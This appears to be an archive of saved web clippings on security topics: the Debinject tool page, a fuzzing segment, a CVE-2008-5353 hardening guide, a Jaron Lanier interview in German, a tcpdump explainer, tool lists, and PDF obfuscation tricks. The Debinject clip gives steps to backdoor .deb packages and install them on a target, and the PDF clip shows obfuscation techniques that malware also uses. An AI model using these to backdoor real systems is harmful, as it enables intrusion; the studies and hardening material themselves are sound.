4Lv4T8Ffp360/rP8f9/AA0ADzT6lvFdAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAJ1SURBVHjaTNPPa11FFAfwz8yde19sYpukJgZp6k+wiGLdxIWIriwuXbhScetf4D8huHTZhSv3LsVFl5ZK0EKiJMRKTYjGagLie+++O3dcvMtDDjMMM+d7zpzv+Z70g/R8/emVD4mCiCAIiCAs1tKX5fNyEO4/1399+NIjtSUjI0mSVKIkiYIkqFQet3qYblWffLZ/6+h/bnMzZCKIAhiL65ceC9+Mf1wqVob4jVotaDyjdyqJKtXw2WRznGLpJFAUkDW2XVVwNrwEPWb+FUspiqxXFL1OcN26maDRK3q9rJcVoaQgi4Nz0alsW9Nq/OV4uIeoCEi9LMqybCZ52ppW7ZFjJL2gCIuQyQDoBMk1q1ojZx6qJHlgKyp6lSIVnSBrVbatmrjkxAMjjawMxPZD2UOGYKLygjVjy448sGLDllMXA4CgFxF7M1PRjmf1ogP3BJueVLtmWavXyWZmunmGVrbmhiTZdddTtmzqULQ6ZahhbilrZftue9nvdj1h24aZoPWrsSQP4iiiXsomsuKuXbWrXnRdK/rHL6ZGAyUBWYVUtHrJZcuCm950Ibiwp7JsJg59mAP6OSCoJYydaK058q3Klumg3DAAoiJFrag21Wt95zcb/pC8ZeJcIwnCoKg4b1wrqBRZVvvT3654xw1nfnauHuLTifKcpSDKGlGj0Vmxo1Y5c6xZyK4TlZBGIyaiXtYIpmb2feEN5/bMdIsaJpaEcdq498rrd9CIWrVopnPH91YtaxZlZ1M7xh/Hk/ff23vb0jC7WRaNrLuslk21WjOtymtu3i8/pfFD737w1emr7WLo5+MSF+f5Xk1WPhodtIf/DQDK9gl53qnX2AAAAABJRU5ErkJggg=='
width='24' height='24' />

# Debinject - Inject malicious code into \*.debs

**Created:**| _7/17/2017 11:27:54 AM_  
---|---  
**Updated:**| _7/17/2017 11:27:54 AM_  
**Author:**| __  
**Tags:**| __  
  

  

  

#  Debinject - Inject malicious code into \*.debs

__ 5:30 PM | Post sponsored by FaradaySEC | Multiuser Pentest Environment __ Lydecker Black
__ Facebook __ __ __ __

<img src='img/sc.png' width='640' height='360' />

  
Inject malicious code into \*.debs  
  
**CLONE**  

[code]

    git clone https://github.com/UndeadSec/Debinject.git
[/code]

  
**RUNNING**  

[code]

    cd Debinject
    python debinject.py
[/code]

  
If you have another version of Python:  

[code]

    python2.7 debinject.py
[/code]

  

<img src='img/faraday-728x90+%282%29.png' width='728' height='90' />

  
**RUN ON TARGET SIDE**  

[code]

    chmod 755 default.deb
    dpkg -i backdoored.deb
[/code]

  
**PREREQUISITES**  

  * dpkg
  * dpkg-deb
  * metasploit

  
**TESTED ON**  

  * Kali Linux - SANA
  * Kali Linux - ROLLING

  

**Download Debinject**

<img src='img/Categories-applications-utilities-icon.png' width='2' height='2'
/> <img src='img/faraday-336x280+%281%29.png' width='336' height='280' />  

__ Tags Debinject  X Inject Code  X Linux

__ Facebook __ __ __ __  
  

* ### CloudFail - Utilize misconfigured DNS and old database records to find hidden IP's behind the CloudFlare network 
* ### AhMyth Android RAT - Android Remote Administration Tool 
* ### CHAOS Framework - Generate Payloads and Control Remote Machines
  * **Next __** Dr0p1t Framework 1.3 - A Framework That Creates An Advanced FUD Dropper With Some Tricks 
  * **__ Previous** Zeus - AWS EC2 / S3 Auditing & Hardening Tool 

### Post Comment

  * facebook
  * disqus

  

## Follow us\!

<img src='img/logo-18-12-2013.png' width='3' height='3' /> <img
src='img/Facebook-icon.png' width='45' height='45' /> <img src='img/Twitter-
icon.png' width='45' height='45' /> <img src='img/Pinterest-icon.png'
width='45' height='45' /> <img src='img/GooglePlus-icon.png' width='45'
height='45' /> <img src='img/Rss-icon.png' width='45' height='45' />

## Popular

  * <img src='img/AhMyth-Android-RAT_02.png' width='72' height='72' alt='AhMyth Android RAT - Android Remote Administration Tool ' />
AhMyth Android RAT - Android Remote Administration Tool

AhMyth Android RAT is an Android Remote Administration Tool Beta Version It
consists of two parts: Server side: desktop application...

  * <img src='img/smap.png' width='72' height='72' alt='smap - Shellcode Mapper ' />
smap - Shellcode Mapper

Handy tool for shellcode analysis.

  * <img src='img/burp_suite.png' width='72' height='72' alt='Burp Vulners Scanner - Vulnerability scanner based on vulners.com search API ' />
Burp Vulners Scanner - Vulnerability scanner based on vulners.com search API

Burp Suite scanner plugin based on Vulners.com vulnerability database API
Search fingerprints in HTTP response \(inspired by plugin &qu...

  * <img src='img/TorStats.png' width='72' height='72' alt='TorStat - Tor Statistics ' />
TorStat - Tor Statistics

Tor Statistics Requirements ProxyChains \(Optional - only if you need more
features to work\) Colorama psutil

  * <img src='img/Winpayloads.png' width='72' height='72' alt='Winpayloads - Undetectable Windows Payload Generation ' />
Winpayloads - Undetectable Windows Payload Generation

Winpaylods is a payload generator tool that uses metasploits meterpreter
shellcode, injects the users ip and port into the shellcode and...

## Last Exploits

  * 1
Orangescrum 1.6.1 - Multiple Vulnerabilities

  * 2
FTPGetter 5.89.0.85 - Buffer Overflow \(SEH\)

  * 3
Windows Browser Example Exploit

  * 4
Metasploit Example Exploit

  * 5
iSmartAlarm CubeOne Remote Command Execution

  * 6
Cisco DDR2200 / 2201v1 Insecure Direct Object Reference / Path Traversal

  * 7
WDTV Live SMP Remote Password Reset

  

  *[5:30 PM]: 5:30 PM

# Episode118 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:48:03 PM_  
---|---  
**Updated:**| _8/5/2009 12:48:15 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Fuzzer Tutorials_  
  

# Mini-Tech Segment - The Art Of Fuzzing With TAOF

Fuzzing is so much fun\! Josh Wright gave a great presentation on fuzzing, why
you should fuzz, what to fuzz, and how to fuzz. It was, well, fuzzy :\) I
learned about a great little tool call TAOF, or "The Art Of Fuzzing" \(its got
a Ying Yang symbol and everything\). Its a neat little tool that acts like a
proxy server, then based on fields, or fuzz points, will do the fuzzing. Its
highly effective for web servers, and I plan to do some testing on embedded
web servers. Below are some screenshots to give you an intro:

## TAOF: Main Page

<img src='img/Temp2_2736.png' width='405' height='620' alt='Image:TAOF-
Main.png' />

## TAOF: Data Retrieval

<img src='img/Temp2_2738.png' width='406' height='412' alt='Image:TAOF-
Data.png' />

## TAOF: Fuzzing

<img src='img/Temp2_2737.png' width='459' height='530' alt='Image:TAOF-
Fuzz.png' />

# Mon May 25 10:40:02 CEST 2009: How to self-defend against CVE-2008-5353

**Created:**| _5/25/2009 9:12:32 AM_  
---|---  
**Updated:**| _5/25/2009 9:12:41 AM_  
**Author:**| __  
**Tags:**| _pwnage_  
  

Date : 22/05/09

Author: Marc Schoenefeld

# Hardening OSX against CVE-2008-5353 \(aka java-apple-wontfix\)

In the following paragraphs you learn about a DIY approach to fix the JDK on
OSX against CVE-2008-5353

## For Tiger:

  1. Get the `src.zip` of a recent non-OSX java distribution \(like Sun Java 5/JDK 1.5.0\_18 for Linux\)
  2. `unzip src.zip java/util/Calendar.java`
  3. `javac java/util/Calendar.java`
  4. `zip /_somepath_ /FixedCalendar.jar java/util/Calendar*.class`
  5. Inside Finder goto `Utilities / Java / J2SE 5.0 / Java Preferences`
  6. Set `Java-Applet-Runtime-Parameter` to `-Xbootclasspath/p:/_somepath_ /FixedCalendar.jar`
  7. Start up a browser, browse to `http://www.java.com/en/download/help/testvm.xml`, see the dancing duke, open Java Console, press`s`, you should now see `FixedCalendar.jar` in the `sun.boot.class.path`
  8. If you are brave, try the PoC exploit on `http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/hello.html `, it should give you a bootstrap failure now

## For Leopold:

  1. Get the `src.zip` of a recent non-OSX java distribution \(like Sun Java 5/JDK 1.5.0\_18 for Linux\)
  2. `unzip src.zip java/util/Calendar.java`
  3. `javac java/util/Calendar.java`
  4. `zip /_somepath_ /FixedCalendar.jar java/util/Calendar*.class`
  5. In `~/Library/Caches/Java/deployment.properties` set option `deployment.javapi.jre.1.5.0.args=-Xbootclasspath/p:/_somepath_ /FixedCalendar.jar`
  6. Start up a browser, browse to `http://www.java.com/en/download/help/testvm.xml`, see the dancing duke, open Java Console, press`s`, you should now see `FixedCalendar.jar` in the `sun.boot.class.path`
  7. If you are brave, try the PoC exploit on `http://landonf.bikemonkey.org/static/moab-tests/CVE-2008-5353/hello.html `, it should give you a bootstrap failure now

**Note 1:** Your JDK is not original anymore, but it is a bit more secure now

Some slides on Serialization flaws \(shameless plug\):

A set of funny remote effects of the serialisation API was discussed first
time at Bellua 2005:

  * My Bellua 2005 talk \(greetz to Gaius\)

And again here with some more examples:

  * My HITB 2006 talk \(greetz to Dhillon\)

# SPIEGEL ONLINE - Druckversion - Internet: "Dynamik der Meute" - SPIEGEL
ONLINE - Nachrichten - Netzwelt

**Created:**| _1/26/2010 8:28:46 PM_  
---|---  
**Updated:**| _1/26/2010 8:28:55 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_7178.gif' alt='SPIEGEL ONLINE' />

# SPIEGEL ONLINE

<img src='img/Temp2_7179.gif' width='1' height='1' />

### 25\. Januar 2010, 00:00 Uhr

# Internet

## "Dynamik der Meute"

Computerpionier Jaron Lanier über die entwürdigenden Folgen von
Internetwerbung, Mobbing im Netz und die Geburt einer unmenschlichen Digital-
Religion

**SPIEGEL:** Herr Lanier, Sie behaupten, im Internet verwandelten sich
normale, vernünftige Menschen in einen Mob. Meinen Sie das wirklich ernst?

**Lanier:** O ja, erst heute habe ich ein anonymes Forum gelesen, in dem die
Leute das Ansinnen der "New York Times" kommentierten, künftig Geld für
Online-Artikel zu verlangen. Die ersten Kommentare waren noch in Ordnung. Doch
bald wuchs sich das Ganze zu einem teuflischen Gemetzel aus. Das ist keine
Ausnahme, sondern ein typisches Muster im Netz.

**SPIEGEL:** Wie kommt es dazu?

**Lanier:** Die Anonymität spielt eine große Rolle. Wer anonym ist, muss keine
Konsequenzen fürchten und erhält dennoch unmittelbare Genugtuung. Da wird ein
biologischer Schalter umgelegt, und es entsteht eine richtige Meute. Das lässt
sich auch in anderen Lebensbereichen beobachten. Wann immer sich Menschen mit
einem starken gemeinsamen Glaubenssystem zusammenschließen, tritt meistens das
Schlechteste zutage.

**SPIEGEL:** Auch das Internet ist für Sie eine Art Religion?

**Lanier:** Ich spreche von einer neuen, auf Technologie basierenden Religion.
Das Internet ist zu einem singulären, antiindividualistischen Apparat
geworden, der mit einer Art kollektivem Verstand arbeitet - ähnlich wie ein
Bienenstaat.

**SPIEGEL:** Früher bewerteten Sie das Internet viel positiver. Was ist
schiefgelaufen?

**Lanier:** Der Niedergang begann mit dem Versuch, im Netz Geld zu verdienen.
Bislang ist dabei leider nur ein einziges erfolgreiches Geschäftsmodell
herausgekommen: das der Werbung, wie Google sie betreibt. Soziale Netzwerke
wie Facebook versuchen, diesen Erfolg nachzuahmen. Das Problem ist nur, dass
sie dabei soziale Strukturen im Netz zerstören, die anfangs ziemlich gut
funktionierten. Die Leute haben ja auch schon vor Facebook über das Internet
miteinander kommuniziert.

**SPIEGEL:** Facebook macht es Nutzern wirklich leicht, mit alten Freunden
Kontakt zu halten oder diese wiederzufinden.

**Lanier:** Aber zu welchem Preis\! Machen Sie sich klar: Ihre gesamte
Kommunikation mit Ihren Freunden gehört einem Unternehmen. Facebook presst die
Nutzer in vorgestanzte Kategorien und reduziert sie zu Multiple-Choice-
Identitäten, die an Marketing-Datenbanken verkauft werden können. Für mich ist
es offensichtlich, dass, wer Web-2.0-Angebote wie Facebook nutzt, sich der
Maschinerie unterwirft und es noch nicht einmal merkt.

**SPIEGEL:** Übertreiben Sie da nicht? Die Nutzer unterscheiden doch zwischen
ihrem Facebook-Account und ihrem richtigen Leben.

**Lanier:** Ältere Leute nutzen Facebook tatsächlich, um wieder Kontakt zu
alten Freunden aufzunehmen. Diese Beziehungen sind zuvor in der realen Welt
entstanden. Ihnen ist bewusst, was echt ist und was nicht. Das Problem haben
eher die Jungen. Auf sie kann das Facebook-Modell, was ein Freund ist und
worum es im Leben geht, einen großen Einfluss haben.

**SPIEGEL:** Sie halten die jugendliche Begeisterung für derlei Kollektivismus
sogar für angstgesteuert.

**Lanier:** Ja, die Dynamik der Internet-Meute bedingt, dass man am Ende
mitmachen muss, um nicht selbst Opfer zu werden. Facebook-Accounts werden
irgendwann verpflichtend. Die Teenager kommen nicht mehr darum herum, ihr
Profil zu pflegen, weil es Teil ihres Lebens wird.

**SPIEGEL:** Kann sich denn nicht jeder im Internet so darstellen, wie er es
gern hätte?

**Lanier:** Nein, das Netz lässt nur Konformismus zu. Es belohnt Leute, die in
soziale Normen passen. Wer sich außerhalb der Norm bewegt, kann schnell zum
Opfer werden. Wir haben inzwischen ein riesiges Problem mit Cyber- Mobbing.
Hinzu kommt, dass es das Netz nicht erlaubt, sich selbst neu zu erfinden. Es
vergisst nichts.

**SPIEGEL:** Zur Netzkultur gehört es auch, dass Software, Lieder, Filme oder
Texte kostenlos zu haben sind. Sie selbst forderten von den Musikern früher,
ihre Songs gratis zu verteilen. Geld sollten diese zum Beispiel mit dem
Verkauf von T-Shirts verdienen. Heute kritisieren Sie diese
Selbstbedienungskultur. Woher der Sinneswandel?

**Lanier:** Wenn das Kostenlosmodell funktionieren würde, hätten wir
inzwischen Tausende Musiker, die ihre Musik kostenlos anbieten und trotzdem
gut leben würden. Das ist nicht der Fall. Inzwischen glaube ich, dass es
langfristig für alle besser wäre, wenn geistige Erfindungen bezahlt würden.
Wenn alles Immaterielle gratis ist, werden wir alle zu digitalen Bauern, die
für Lords der digitalen Wolken wie Google oder YouTube kostenlose Inhalte
bereitstellen. Wenn man aber eine dynamische Welt will, in der jeder noch
selbst erfinden, denken und seinen eigenen Weg suchen darf, brauchen wir
Kapitalismus - gerade auch für den Geist. Intellektuelle Leistung muss wieder
belohnt werden, und zwar individuell. Ein weiterer zentraler Fehler der
derzeitigen digitalen Kultur ist es, Information aus verschiedensten Quellen
so fein zu zerhacken, dass man am Ende nur noch einen einzigen globalen Brei
hat.

**"Wenn Werbung das Zentrum der Zivilisation wird, dann ist sie teuflisch."**

**SPIEGEL:** Das Internetlexikon Wikipedia funktioniert so. Jeder trägt ein
Stück dazu bei. Am Ende wäre das Wissen der Welt an einem Ort vereint und für
jeden frei zugänglich. Was ist dagegen einzuwenden?

**Lanier:** Wikipedia funktioniert vielleicht für bestimmte Themen, etwa für
Wissenschaft oder für Popkultur. Aber für geschichtliche und humanistische
Themen ist Wikipedia untauglich. In diesen Bereichen gibt es viele Aspekte und
Sichtweisen, die alle ihre Berechtigung haben. Sie zusammenzuquirlen macht die
Dinge bedeutungslos. Es kann sogar geschehen, dass wir die Realität als
Bezugspunkt verlieren. Ein Beispiel: Wikipedia bietet ellenlange Artikel über
imaginäre Armeen oder Charaktere aus Fantasy-Romanen. Echte, historische
Armeen oder Figuren der Zeitgeschichte dagegen werden oft weitaus kürzer
abgehandelt. Wozu führt das? Ich fürchte, es besteht die Gefahr, dass wir
irgendwann Geschichte und Fiktion verwechseln. Wir reduzieren Geschichte, und
am Ende verlieren wir Geschichte.

**SPIEGEL:** Aber Wikipedia ist ja nicht die einzige Quelle ...

**Lanier:** ... sie könnte es aber irgendwann werden. Stellen Sie sich vor,
wir schaffen Bücher ganz ab und arbeiten nur noch mit Software-Systemen, die
Informationen zu digitalem Brei verquirlen. Dann könnten wir eine Welt
kriegen, in der es nur noch so etwas wie Wikipedia gibt. Am Ende haben wir nur
noch ein einziges Buch für die ganze Menschheit - eine Art heilige Schrift,
ähnlich wie die Bibel, geschrieben von Autoren, die irgendwann in
Vergessenheit geraten und dadurch überhöht werden können. Es entsteht der
Eindruck des Übernatürlichen. Wenn es da ein Buch gibt, das keiner geschrieben
hat, dann muss es Gott geschrieben haben.

**SPIEGEL:** Wird der Eindruck, dass das Internet zu einem Überwesen wird,
auch durch die Struktur des Netzes gefördert?

**Lanier:** Ja. Das Design des Internets bewertet Informationen höher als die
Individuen, die sie liefern. Die Regeln des Netzes wurden von Technikfreaks
geschrieben, die nicht viel mit menschlicher Ausdrucksweise am Hut hatten.
Dadurch haben wir den Menschen die Würde geraubt.

**SPIEGEL:** Gab es Versuche, das Netz anders zu organisieren?

**Lanier:** O ja. Die erste Idee war die beste, wurde aber leider nicht
umgesetzt. Ted Nelson ...

**SPIEGEL:** ... ein amerikanischer Soziologe, Philosoph und Computerpionier,
der in den sechziger Jahren des 20. Jahrhunderts die Grundlagen des heutigen
World Wide Web schuf ...

**Lanier:** ... schlug vor, ein universelles Mikrobezahlsystem zu schaffen und
gleichzeitig jede Datei nur einmal im Netz bereitzustellen. Das hätte viele
Vorteile. Der Markt würde Angebot und Nachfrage regeln, und Musik, Bücher oder
Zeitungsartikel würden sehr schnell einen vernünftigen, angemessenen Preis
bekommen.

**SPIEGEL:** Was schlagen Sie außer einem Bezahlsystem vor, um das Internet zu
verbessern?

**Lanier:** Vielleicht müssen wir Monopole zerschlagen, so dass wir
beispielsweise nicht mehr nur ein Google haben, sondern mehrere. Suchmaschinen
sind unabdingbar, und die Methode, Internetseiten nach Beliebtheit zu ordnen,
ist gut. Ich würde es jedoch gern sehen, dass Suchmaschinen werbefrei werden.
Im Moment steuern wir auf eine Situation zu, in der man im Netz in eine Art
Todesspirale kommt und verschwindet, wenn man keine Werbung betreibt. Man
taucht dann schlicht nicht mehr oben in den Ergebnislisten der Suchmaschinen
auf. Wenn wir Internetsuche und Werbung entkoppeln würden, bekämen wir eine
ehrlichere und wahrhaftigere Welt.

**SPIEGEL:** Das werden die Aktionäre von Google nicht gern hören.

**Lanier:** Natürlich würde das einige Menschen bei Google oder bei Microsofts
Suchmaschine Bing, die wirklich alle sehr nett sind, ziemlich unglücklich
machen. Aber bedenken Sie: Alle anderen würden profitieren. Ein bisschen
Werbung ist nicht schlimm. Doch sie darf nicht überbetont werden. Wenn Werbung
das Zentrum der Zivilisation wird, um das sich alles dreht, dann ist sie
wahrhaft teuflisch.

_Das Interview führte Philip Bethge_

  

#### URL:

  * http://www.spiegel.de/spiegel/0,1518,674057,00.html

#### MEHR AUF SPIEGEL ONLINE:

  * Interview mit US-Soziologe Sennett: "Die Stasi war eine Organisation wie Google" \(15.01.2010\)  
http://www.spiegel.de/netzwelt/web/0,1518,671506,00.html

  * Internet-Forschung: Grün, wolkig, immer und überall \(14.01.2010\)  
http://www.spiegel.de/wirtschaft/unternehmen/0,1518,671879,00.html

  * Nerdistans Ende: Das Internet gehört den Normalos \(22.12.2009\)  
http://www.spiegel.de/netzwelt/web/0,1518,667650,00.html

  * Werbebranche im Umbruch: Markenprofis stolpern ins Mitmach-Netz \(08.12.2009\)  
http://www.spiegel.de/wirtschaft/unternehmen/0,1518,665040,00.html

  

**© DER SPIEGEL 4/2010**  
Alle Rechte vorbehalten  
Vervielfältigung nur mit Genehmigung der SPIEGELnet GmbH

# TaoSecurity

**Created:**| _1/4/2012 10:44:27 PM_  
---|---  
**Updated:**| _1/4/2012 10:44:27 PM_  
**Author:**| __  
**Tags:**| _security tools network-security_  
  

**Understanding Tcpdump's -d Option**  
  
<img src='img/Temp2_7912.jpg' width='200' height='45' /> Have you ever used
Tcpdump's -d option? The man page says:  

[code]

      
    -d     Dump the compiled packet-matching code in a human readable  form  
           to standard output and stop.  
    
[/code]

  
I've never used that option before, but I just saw a Tcpdump developer use it
to confirm a Berkeley packet filter in this thread. The user in the thread is
trying to see TCP or UDP packets with a source address of
"centernet.jhuccp.org" \(162.129.225.192\). First he specifies an incorrect
BPF filter, which the developer then corrects. This is mildly interesting, but
the useful information on the -d option appears in this post.  
  
Tcpdump developer Guy Harris interprets output from the -d option:  

[code]

      
    > www:~# tcpdump -d src host centernet.jhuccp.org and \( ip proto \\tcp   
    > or \\udp \)  
    > (000) ldh      [12]  
    > (001) jeq      #0x800           jt 2    jf 8  
    > (002) ld       [26]  
    > (003) jeq      #0xa281e1c0      jt 4    jf 8  
    > (004) ldb      [23]  
    > (005) jeq      #0x6             jt 7    jf 6  
    > (006) jeq      #0x11            jt 7    jf 8  
    > (007) ret      #96  
    > (008) ret      #0  
      
    OK, that code:  
      
     loads the 2-byte big-endian quantity at an offset of 12 from the   
    beginning of the packet - which, on an Ethernet packet, is the   
    type/length field in the Ethernet header - and compares it with 0x0800   
    - which is the type code for IPv4 - and, if it's not equal, jumps to   
    instruction 8, which returns 0, meaning "reject this packet" (i.e., it   
    rejects all packets other than IPv4 packets);  
      
     loads the 4-byte big-endian quantity at an offset of 26 from the   
    beginning of the packet - which, for an IPv4-over-Ethernet packet, is   
    the source IP address in the IPv4 header - and compares it with   
    0xa281e1c0 - which is 162.129.225.192, or "centernet.jhuccp.org" - and,   
    if it's not equal, jumps to instruction 8 (i.e., it rejects all packets   
    that don't have a source IP address of 162.129.225.192);  
      
     loads the one-byte quantity at an offset of 23 from the beginning of   
    the packet - which, for an IPv4-over-Ethernet packet, is the protocol   
    type field in the IPv4 header - and, if it's equal to 6 - i.e., if it's   
    a TCP packet - jumps to instruction 7, which returns 96, meaning   
    "accept this packet and get its first 96 bytes", and, if it's not 6,   
    jumps to instruction 6, which does the same check for 17, i.e. UDP.  
    
[/code]

  
I found this explanation very enlightening and I appreciate Guy taking the
time to discuss it.

# REMath/implementations · GitHub

**Created:**| _8/27/2014 2:15:22 PM_  
---|---  
**Updated:**| _8/27/2014 2:15:22 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit programming_  
  

## Literature Review

  * https://github.com/REMath/literature\_review

##  CacheAudit-0.1

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  beaengine

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  fuzzgrind

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  shiva

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  bincfi

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  hampi

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  smc

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  Z3-str

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  boomerang

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  hlsl

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  tanalysis

  * Description
  * Example
  * Publications
  * Version 

##  arm-thumb-decompiler-plugin

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  coq\_macro\_assembler

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  jakstab

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  while\_analyser

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  asbint

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  dig

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  lego-1.3.1

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  xgil

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  avalanche

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  distorm

  * Description
  * Installation
  * Example
  * Publications
  * Version 

##  metasm

  * Description
  * Installation
  * Example
  * Publications
  * Version

# DavidDikker/endgame: An AWS Pentesting tool that lets you use one-liner
commands to backdoor an AWS account's resources with a rogue AWS account - or
share the resources with the entire internet 😈

**Created:**| _5/18/2021 5:43:27 PM_  
---|---  
**Updated:**| _5/18/2021 5:43:27 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Endgame

An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS
account's resources with a rogue AWS account - or share the resources with the
entire internet

# corkami/docs

**Created:**| _5/7/2017 10:31:08 AM_  
---|---  
**Updated:**| _5/7/2017 10:31:08 AM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

  

# PDF Tricks

This page is a summary of PDF tricks, either based on data encodings,
JavaScript, or PDF structure, with hand-written proof-of-concepts.

<wiki:toc max\_depth="3" />

_DISCLAIMER_ The files are clean, and hand written by me, for better
understanding and perfect clarity. However, because they use various tricks
also present in malwares, they might be detected by your antivirus, or crash
your usual program. They all work under Adobe Acrobat though, which is the
point here.

In short: they're odd, but they work, and they're clean.

for many more JavaScript tricks, check the JavaScript Garden.

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f5078416d5672322e706e67.png'
width='888' height='628' />

# encodings

any data \(or string\) can be encoded in various ways.

## hex

A string can be stored as hex.

Example of ` Hello World! ` string, with each character encoded by its value
in hexadecimal \(download\):

[code]

    48656c6c6f20576f726c6421
    
[/code]

## octal

another classic one, each character is encoded in octal.

Example of ` Hello World! ` string, with each characters encoded by its value
in octal \(download\):

[code]

    \110\145\154\154\157\40\127\157\162\154\144\41\
    
[/code]

## whitespaces between nibbles

so far so good, nothing too weird. However, it wouldn't be Adobe if something
wasn't unexpected.

While it's common to separate hex numbers with space \(` 00 01 02... `\), in a
PDF, any kind of whitespace can be used \(newline, tab, ...\), and even
between the 2 niblles of the same hex number.

Example of ` Hello World! ` string, encoded as hexadecimal, with extra
whitespace between the nibbles \(download\):

[code]

    4
    8
    6
    
    
         5
    6	c 6c 6f 		20
    
    
    
    576f726c6421
    
[/code]

## ASCII newlines

ASCII can be stored as ascii \(hopefully\), but newlines can be inserted
too...

Example of ` Hello World! ` string, stored as ASCII, with extra new lines
characters \(download\):

[code]

    [...]
    }\
    \
    \
    \
    \
    \
    \
    H\
    e\
    l\
    \
    \
    \
    \
    \
    l\
    o\
     \
    [...]
    
[/code]

# structure

## truncated signature

theoretically ` %PDF-1.[4-6] `, the signature can be truncated to ignore the
last digit...

Example of truncated header signature \(download\):

[code]

    %PDF-1.
    
[/code]

## null signature

...but it can be actually even shorter, provided you insert a null character.

Example of null-based header trick \(download\):

[code]

    %PDF-\0
    
[/code]

## Names tree

A PDF can contain a Names tree, in which each element is sequentially
evaluated. This way, a script can be split in various parts, without any
obvious trigger such as OpenAction.

Example of a JavaScript script, split into 2 parts in the Names tree
\(download\):

[code]

    [...]
      /Names
    [...]
           /Names[
                (1) <<
    [...]
                      msg = "Hello";
    [...]
                (2) <<
    [...]
                      msg = msg + " World!";
                      app.alert(msg);
    [...]
    
[/code]

## no object

on Acrobat X, a valid PDF doesn't need an object. <img
src='img/pdf_emptyx.png' width='321' height='274' />

Example of a valid trailer-only, 36 bytes PDF, under Acrobat X \(download\):

[code]

    %PDF-\0trailer<</Root<</Pages<<>>>>>>
    
[/code]

this trick doesn't work on previous version of Acrobat. For them, an object -
even empty, and with no index - has to be present.

Example of a valid, 48 bytes PDF, for Acrobat <=9 \(download\):

[code]

    %PDF-\0obj<<>>trailer<</Root<</Pages<<>>>>>>
    
[/code]

## wrong tags

Unexpected tags are just ignored. this goes the same for tags with incorrect
case.

Example of a trailer with incorrectly cased tags \(download\):

[code]

    trailer
    <<
    /Root
        <</tYpE/caTaLOG/Pages 1 0 R>>
    >>
    
[/code]

## EOF

PDF is a format that supports incremental updates, so information can be
written beyond the %EOF.

Example of a PDF where objects and trailer are beyond the EOF \(download\):

[code]

    [...]
    %%EOF
    
    % dummy object to make this PDF valid
    [...]
    15 0 obj
    [...]
    % the trailer is not allowed to be before all other objects
    trailer
    <<
    /Root<</Pages 1 0 R>>
    >>
    
    1 0 obj
    <</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]
    [...]
    
    2 0 obj
    <<>>
    stream
    BT/default 20 Tf 1 0 0 1 1 715 Tm(this text and the PDF objects are stored beyond the %%EOF tag)Tj ET
    [...]
    
[/code]

## linearized

PDF are parsed bottom-up by default, except if the first object \(even a dummy
non-referenced object\) contains the _/Linearized_ tag \(with a dummy value\)

Example of a PDF parsed either bottom-up or top-down \(if linearized\)
\(download\):

[code]

    [...]
    % inserting/removing a dummy first object will change the parsing direction
    12 0 obj <<<>>
    [...]
    31415 0 obj
    << /Linearized -42 >>
    endobj
    [...]
    2 0 obj
    <<>>
    stream
    BT/default 35 Tf 1 0 0 1 1 715 Tm(this PDF has been parsed top-down)Tj ET
    endstream
    endobj
    [...]
    20 0 obj
    <<>>
    stream
    BT/default 35 Tf 1 0 0 1 1 715 Tm(this PDF has been parsed bottom-up)Tj ET
    endstream
    endobj
    [...]
    % if this trailer is taken in account, it will display 'Top-down'
    trailer
    <<
    /Root
      <<
      /Pages 1 0 R
      >>
    >>
    [...]
    % if this trailer is taken in account, it will display 'Bottom-up'
    trailer
    <<
    /Root
      <<
      /Pages 10 0 R
      >>
    >>
    
[/code]

# JavaScript-based encodings

Here are a few other encoding tricks, that use javascript \(not necessarily
specific to Acrobat's\)

## concatenation

the simplest tricks of all for strings in Javascript, split into parts, then
concatenate back.

Example of a ` Hello World! ` string concatenated before display \(download\):

[code]

    [...]
          B="Hell";
          on="o ";
          jour="World!";
          app.alert(B + on + jour);
    [...]
    
[/code]

## replace

simple obfuscation, add some extra character/switch then replace/restore them
before use.

Example of ` Hello World! ` string, obfuscated with extra characters
\(download\):

[code]

    "zHzzezzlzlzozzzzz zWozrzldz!").replace(/z/g,"")
    
[/code]

## escaping

another standard javascript obfuscation, replace characters with escaped ones.

Example of _Hello World\!_ string, encoded with javascript escaping
\(download\):

[code]

    unescape("%48%65%6C%6C%6F%20%57%6F%72%6C%64%21")
    
[/code]

## base encoding

like CAFEBABE can be read as a word or as a hex number, any uppercase word can
be written as a base32 \(32 or less, depending on the last \(in the alphabet\)
used character\) numbers.

Example of a ` HELLO WORLD! ` string, with each word encoded as a number, in
different bases \(download\):

[code]

    (6873049).toString(25) + " " + (38842069).toString(33) + "!"
    
[/code]

# JavaScript-based tricks

## eval

A classic: some code can be built in a string, then executed via evaluation.

Example of a string of code being evaluated \(download\):

[code]

    [...]
         eval('app.alert("Hello World!");');
    [...]
    
[/code]

## substring

A function such as _alert_ can be called, not only directly, but also as a
substring of its parent object, _app_ in our example.

Example of a JavaScript function called by a string reference from its parent
